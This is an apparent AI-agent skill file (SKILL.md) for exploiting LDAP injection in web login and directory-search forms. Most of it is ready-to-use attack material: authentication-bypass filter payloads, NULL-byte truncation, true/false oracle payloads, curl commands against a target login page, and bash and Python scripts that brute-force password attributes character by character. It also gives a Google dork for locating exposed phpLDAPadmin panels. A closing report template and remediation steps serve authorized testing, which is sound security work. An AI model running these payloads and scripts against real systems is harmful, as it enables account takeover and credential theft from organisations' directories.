exploiting-ldap-injection
$
npx mdskill add xalgord/xalgorix/exploiting-ldap-injection- During authorized tests of login forms backed by an LDAP/Active Directory directory - When a search/lookup feature queries a directory by `uid`, `cn`, `mail`, `sn`, or similar attributes - When the app builds filters like `(&(user=INPUT)(password=INPUT))` from raw input - When you spot LDAP-style errors, `phpLDAPadmin`, or directory-driven address books / user pickers - When testing intranet portals, SSO bridges, or HR/employee directories
SKILL.md
.github/skills/exploiting-ldap-injectionView on GitHub ↗
---
name: exploiting-ldap-injection
description: Exploiting LDAP injection where web applications build LDAP search filters from unsanitized user input,
letting an attacker manipulate filter logic to bypass authentication, enumerate directory objects, and blind-extract
attribute values such as passwords. Activates when login forms, search boxes, or directory lookups feed user input
into LDAP filters (uid, cn, mail, etc.).
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- ldap-injection
- authentication-bypass
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting LDAP Injection
## When to Use
- During authorized tests of login forms backed by an LDAP/Active Directory directory
- When a search/lookup feature queries a directory by `uid`, `cn`, `mail`, `sn`, or similar attributes
- When the app builds filters like `(&(user=INPUT)(password=INPUT))` from raw input
- When you spot LDAP-style errors, `phpLDAPadmin`, or directory-driven address books / user pickers
- When testing intranet portals, SSO bridges, or HR/employee directories
## Critical: Variants Most Often Missed
LDAP filters are prefix/Polish notation: `(&(a=1)(b=2))` = AND, `(|(a=1)(b=2))` = OR, `(!(a=1))` = NOT. The wildcard `*` matches anything and is the single most powerful primitive. Filters MUST stay syntactically valid — prefer sending ONE clean filter. Test the full matrix for every input:
```text
# 1. Wildcard everything (works in most LDAPi contexts)
user=* password=* --> (&(user=*)(password=*)) # match any
# 2. Authentication bypass — comment/cut the password check
user=*)(& password=*)(& --> (&(user=*)(&)(password=*)(&))
user=*)(|(& pass=pwd) --> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=* password=x) --> (&(user=*)(|(password=*)(password=x))
user=*))%00 pass=any --> (&(user=*))%00 # NULL byte truncates rest
# 3. Target a known account, neutralize the password
admin)(&) password=pwd --> (&(user=admin)(&))(password=pwd)
admin' or '1'='2 (string-context) --> account selected regardless of password
username=admin)(!(&(| pass=any)) --> (&(uid=admin)(!(&(|)(webpassword=any)))) # (|)=FALSE → bypass
# 4. Force absolute TRUE / FALSE
(&) = absolute TRUE (|) = absolute FALSE
# 5. Inject a second filter (behavior depends on server)
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
--> (&(objectClass=*)(ObjectClass=*))(&(objectClass=void)... # first filter executes
```
Server quirks that change exploitation:
- **OpenLDAP**: if two filters arrive, only the FIRST executes.
- **ADAM / Microsoft LDS**: two filters throw an error.
- **SunOne Directory Server 5.0**: executes BOTH filters.
### How to CONFIRM a hit (avoid false negatives)
- **Auth bypass**: a `*` / `*)(&` payload logs you in or returns a user record without valid credentials.
- **Boolean oracle (blind)**: compare a TRUE vs FALSE payload response.
- TRUE: `*)(objectClass=*))(&objectClass=void` → data returned / "logged in".
- FALSE: `void)(objectClass=void))(&objectClass=void` → no data / login fails.
- A reliable difference in body, length, or status between the two confirms blind LDAPi.
- **Error-based**: malformed filters like `admin)(&)` may raise a directory error, confirming the input reaches the filter.
- Treat ANY consistent TRUE/FALSE divergence as exploitable even if no data is directly echoed.
## Workflow
### Step 1: Identify the Injection & Filter Shape
```bash
# Inject special chars and watch for errors / behavior change
# ( ) * \ | & ! = NUL
curl -s "https://target/login.php" --data "user=*&password=*"
curl -s "https://target/login.php" --data "user=admin)(&)&password=x" # may error → reaches filter
```
### Step 2: Authentication Bypass
```bash
# Classic wildcard bypass
user=* password=* # (&(user=*)(password=*))
# Neutralize the password clause
user=admin)(!(&(| password=any)) # makes the password subtree FALSE-negated → TRUE
# NULL-byte truncation
user=*))%00 password=any # rest of filter discarded
```
### Step 3: Blind Extraction of Attribute Values (passwords, tokens)
```bash
# Per-character brute force over a target attribute using the * anchor.
# (&(sn=administrator)(password=A*)) ... iterate A..Z,0..9,symbols
for c in {A..Z} {a..z} {0..9}; do
resp=$(curl -s "https://target/login.php" \
--data "user=*)(sn=administrator)(password=${KNOWN}${c}*&password=x")
echo "$resp" | grep -q "OK_MARKER" && { echo "char=$c"; break; }
done
```
```python
#!/usr/bin/python3
# Blind LDAP attribute extraction (adapted from HackTricks)
import requests, string
url = "http://10.10.10.10/login.php"
proxy = {"http": "localhost:8080"}
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c","cn","mail","sn","uid","userPassword","password","objectClass"]
for attr in attributes:
value, finish = "", False
while not finish:
for ch in alphabet:
query = f"*)({attr}={value}{ch}*" # injected filter prefix
r = requests.post(url, data={'login': query, 'password': 'bla'}, proxies=proxy)
if "Cannot login" in r.text: # TRUE oracle marker
value += ch
break
if ch == alphabet[-1]:
finish = True
print(f"{attr}: {value}")
```
Brute-force all default LDAP attributes (use the PayloadsAllTheThings `LDAP_attributes.txt` list) to discover where sensitive data lives, then dump it character by character.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Filter syntax** | Prefix notation: `(&...)`=AND, `(|...)`=OR, `(!...)`=NOT, `(attr=val)`=item |
| **Wildcard `*`** | Matches any value; core primitive for bypass and extraction |
| **Absolute TRUE/FALSE** | `(&)` is always TRUE, `(|)` is always FALSE |
| **Boolean blind oracle** | Compare TRUE vs FALSE payload responses to infer data |
| **NULL byte `%00`** | Truncates the rest of the filter so trailing clauses are ignored |
| **Server divergence** | OpenLDAP runs only the first filter; SunOne runs both; ADAM/LDS errors |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Intruder** | Automate boolean/char brute force with grep-match oracles |
| **PayloadsAllTheThings (LDAP_FUZZ.txt, LDAP_attributes.txt)** | Filter payloads and attribute wordlists |
| **Custom Python scripts** | Blind per-character attribute extraction |
| **ldapsearch** | Validate recovered DN/attributes against the directory if creds obtained |
| **Google dorks** | `intitle:"phpLDAPadmin" inurl:cmd.php` to find exposed admin panels |
## Common Scenarios
### Scenario 1: Wildcard Login Bypass
A login does `(&(uid=INPUT)(userPassword=INPUT))`. Submitting `uid=*` and `password=*` yields `(&(uid=*)(userPassword=*))`, matching the first directory user and granting access.
### Scenario 2: Blind Password Disclosure
A search returns results only when its filter matches. Injecting `*)(sn=administrator)(password=A*` and iterating the trailing char reveals the admin password one character at a time via the result/no-result oracle.
### Scenario 3: Negation Bypass
Login filter `(&(uid=INPUT)(webpassword=INPUT))`. Payload `uid=admin)(!(&(|` with `pass=any))` builds `(&(uid=admin)(!(&(|)(webpassword=any))))` — since `(|)` is FALSE, the negated subtree is TRUE and admin authenticates without the password.
## Output Format
```
## LDAP Injection Finding
**Vulnerability**: LDAP Injection (filter manipulation)
**Severity**: High to Critical (CVSS 8.1–9.8 when it bypasses auth or dumps creds)
**Location**: POST /login.php (user, password parameters)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit user=* and password=* → application authenticates as the first directory user.
2. Confirm blind oracle: TRUE payload `*)(objectClass=*))(&objectClass=void` returns data;
FALSE payload `void)(objectClass=void))(&objectClass=void` returns none.
3. Extract userPassword via per-character injection `*)(uid=admin)(userPassword=A*`.
### Evidence
| Payload | Result | Meaning |
|---------|--------|---------|
| user=*&password=* | Logged in | Wildcard auth bypass |
| ...(password=A* | No result | Char != A |
| ...(password=M* | Result | First char = M |
### Impact
Authentication bypass, enumeration of directory objects/attributes, and blind disclosure of credentials and other sensitive attributes.
### Recommendation
1. Escape LDAP special characters per RFC 4515 ( \28 \29 \2a \5c \00 ) on all user input.
2. Use parameterized directory APIs / framework escaping helpers, never string concatenation.
3. Apply least-privilege bind accounts and restrict which attributes searches can return.
4. Add server-side allow-lists for searchable attributes and reject `*` where not expected.
```